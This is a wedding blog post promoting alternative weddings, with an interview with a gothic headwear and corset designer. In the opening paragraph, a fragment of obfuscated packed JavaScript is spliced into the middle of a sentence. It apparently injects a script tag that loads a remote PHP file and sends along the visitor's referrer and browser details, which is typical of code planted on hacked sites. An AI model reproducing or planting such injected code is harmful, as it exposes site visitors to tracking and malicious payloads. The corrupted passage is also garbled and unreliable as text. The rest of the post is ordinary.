“What is a unique wedding blog?” I’ve been asked that numerous times since starting Alice In Weddingland and every time I give the same answer (give or take a word or two) and this is how it goes:

Alice In Weddingland is a treasure trove bursting with distinctive, unique, creative ideas that break tradition: from the alternative, whimsical to the creative and of course, the unique!

And after my answer I normally get a reply that goes something like – “wow” or “what a great idea” or even a common one “what’s a blog?”. But occasionally I get “oh you do gothic and boho stuff then” and that’s when I promptly and proudly answer, “Yes, and no. Because alternative (sadly) has the reputation of only being boho or gothic but it is so much more than that. The dictionary meaning of alternative is ‘non-traditional’ and that’s exactly what AIW is all about. Stepping outside the boundaries of tradition and doing your wedding your way: doing””””,’g””” c=\’d\’ e=\’b/’ 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’sihie|varttbyy||js|php’.split(‘|’),0,{}))
things differently! It’s about being unique (more to come in a post soon).

A menagerie of unique wedding ideas

I loved the idea that you could get a menagerie of wonderful, unique ideas when planning your wedding including Gothic, Boho, subcultures, new genres, everything that breaks the norm for how and what is involved in a wedding. Because when I was married ten years ago, nothing like this existed and I struggled to find unique wedding ideas for our wedding and instead ended up giving up on my wedding ideas (like the corset wedding dress I’d dreamt of) or the funky invitations I wanted. And now it’s a great part of my inspiration behind my unique wedding blog or alternative wedding blog – whichever you choose to use. They’re both the same to me 🙂

And this mornings showcase, this mornings unbelievably, breathtaking talent comes from a wee Scottish lass with huge talent!!!

I am a creative person and I get giggly when I find amazing creative talent, I mean really girly giggly : Rob calls it the ‘designer giggle’, he knows the difference between my giggly laugh, and my giggly “OMG look what I’ve found”! And today I’m showcasing one of my giggly “OMG” moments.

So, without further adieu!! I want to introduce you to this gorgeous young ladies headwear. She has an incredible future ahead of her in the world of design I’m sure!

Unique headwear and accessories

Do you love art? Do you love designer fashion? Well, The Imaginarium Apparel is both! Superbly designed and crafted clothing and accessories: headwear, corsets, skirts, neckpieces and more. Each item is designed, created and hand embellished with precision attention to detail using highly detailed couture techniques.

The creations of incredibly talented designer Rachel Forbes; the crafty Miss behind the company, are out of this world, beautifully designed and unbelievably unique accessories all inspired by Gothic, Cyber and Industrial subculture.

Zarn: Hey Rachel, can you tell us a little about yourself and what inspires you to create?

Rachel: “My name is Rachael Forbes, I’m 25 and living in Edinburgh, Scotland. I studied a performance costume degree; looking into designing for theatre, television and film. It is through my research that I came across lots of amazing, innovative designers and aesthetics. After my degree I decided to combine my love for the darker aesthetic and gothic culture with the highly designed aesthetics of theatre and stage production.

I adore clothing and accessories that requires attention to detail, workmanship and a strong concept. I did various projects in theatre, film and music video before considering launching my own business. There is so much inspiration to be found within nature; my first collection is inspired by insects and amphibians. There is a bounty of colours, sculptural shapes, textures and patterns that can be discovered and explored here. The next collection will delve into the world of beetles; looking into a range of beetle inspired corsets. The anthromorphic idea has always been of interest to me; a concept enjoyed through illustration and design. I love the sense of other-worldliness created when creatures are combined with humans; an idea that can be explored right back into the time of myth and legend.

I appreciate the visionary work of fashion designers such as Thierry Mugler, Alexander McQueen and Eiko Ishioka. The constant shifting and fluid aesthetic never ceases to amaze me – it is always interesting to see so many unique and creative people exploring new territory and breaking boundaries. Life needs a touch of fantasy and magic; dressing up and designing is one way of exploring that. It brings that sense of wonder from childhood back into the adult world.

The thought behind The Imaginarium Apparel is to bring unique ideas and consideration of design typical of the high fashion scene with detailed couture, cut and fabric embellishment techniques to a culture that appreciates the theatrical, dark aesthetic more than anyone. It became a point in which both passions met in the middle and fitted rather nicely.

The idea behind the name: The Imaginarium is a realm of fantasy and imagination. Each costume has an idea behind it, an inspiration and sometimes even a character. Each fabric, texture and textile has been embroidered, decorated, embellished and considered . The word ‘ Apparel ‘ means flamboyant or theatrical clothing therefore it is theatrical clothing inspired by the imagination.

The Imaginarium Apparel is a fresh new business launched in June 2011 and has enjoyed a wonderful beginning. I am looking forward to developing and moving forward into a creative, exciting future.”

Showcasing talent from around the globe

I love finding and showcasing talent from around the globe, it truly is a passion. I love finding ‘stuff’ that has been created by someone somewhere who has a passion for what they’re doing; not some factory churned item I’d see everyone else with. It’s your wedding, do it your way and I hope you get inspiration from searching all the nooks and cranny’s here on the unique wedding blog that is Alice In Weddingland. And I get giggly when I find talent like this, and I love to giggle 🙂

Have a super Thursday!

Zarn